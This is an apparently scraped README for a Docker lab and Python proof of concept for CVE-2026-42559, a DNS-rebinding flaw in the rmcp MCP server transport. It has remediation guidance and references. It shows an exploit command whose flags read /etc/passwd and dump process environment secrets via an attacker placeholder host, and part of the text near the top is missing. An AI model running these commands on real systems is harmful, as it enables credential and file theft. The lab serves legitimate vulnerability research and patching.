## https://sploitus.com/exploit?id=2F0646BD-C3D1-5476-95D5-47A8BA3F294A
# CVE-2026-42559 — DNS rebinding in the `rmcp` Streamable HTTP server transport
A self-contained Docker lab and Python proof of concept for **CVE-2026-42559**
(GHSA-89vp-x53w-74fx / RUSTSEC-2026-0189).
| | |
|---|---|
| Affected | [`rmcp`](https://crates.io/crates/rmcp) — the official Rust SDK for the Model Context Protocol — `= 1.4.0)
```
Exit code is `1` when the target is vulnerable and `0` when it is not, so the
script drops straight into CI.
Useful flags:
```bash
python3 exploit/exploit.py \
--target 127.0.0.1:8000 \
--rebind-host wallet.attacker.example \
--loot /etc/passwd \
--command 'cat /proc/self/environ | tr "\0" "\n"'
```
Tear down with `docker compose down`.
### Why the PoC forges the header instead of running a DNS server
The exploit opens a TCP connection to the target and writes an
attacker-controlled `Host` header (`http.client.putrequest(..., skip_host=True)`).
That is byte-for-byte the request a rebound browser emits — DNS rebinding is
just the mechanism that makes a browser send a foreign `Host` to a loopback
socket. Reproducing it this way keeps the lab to two containers and no DNS
infrastructure, while testing exactly the code path the CVE is about.
## Fixing it in your own server
```rust
// 1. Upgrade.
// rmcp = "1.4" (or later)
// 2. Loopback-only is the default from 1.4.0 onward — nothing to do
// for a locally bound server.
let config = StreamableHttpServerConfig::default();
// 3. For a genuine public deployment, allowlist your own names.
let config = StreamableHttpServerConfig::default()
.with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);
```
If you cannot upgrade, terminate the MCP endpoint behind a reverse proxy that
rejects unknown `Host` values, and do not bind the server to `0.0.0.0` without
one. `disable_allowed_hosts()` exists but reintroduces this exact bug.
## References
- [GHSA-89vp-x53w-74fx](https://github.com/modelcontextprotocol/rust-sdk/security/advisories/GHSA-89vp-x53w-74fx)
- [NVD — CVE-2026-42559](https://nvd.nist.gov/vuln/detail/CVE-2026-42559)
- [Red Hat — CVE-2026-42559](https://access.redhat.com/security/cve/cve-2026-42559)
- [Kodem Security — CVE-2026-42559](https://www.kodemsecurity.com/cve-archive/cve-2026-42559)
- [MCP specification — Transport security](https://modelcontextprotocol.io/specification/2025-06-18/basic/transports)
## Disclaimer
Everything here is intentionally vulnerable and exists for research and
education. The containers expose a shell-execution tool by design — run the lab
only on a machine you own, and never point the exploit at a host you are not
authorised to test.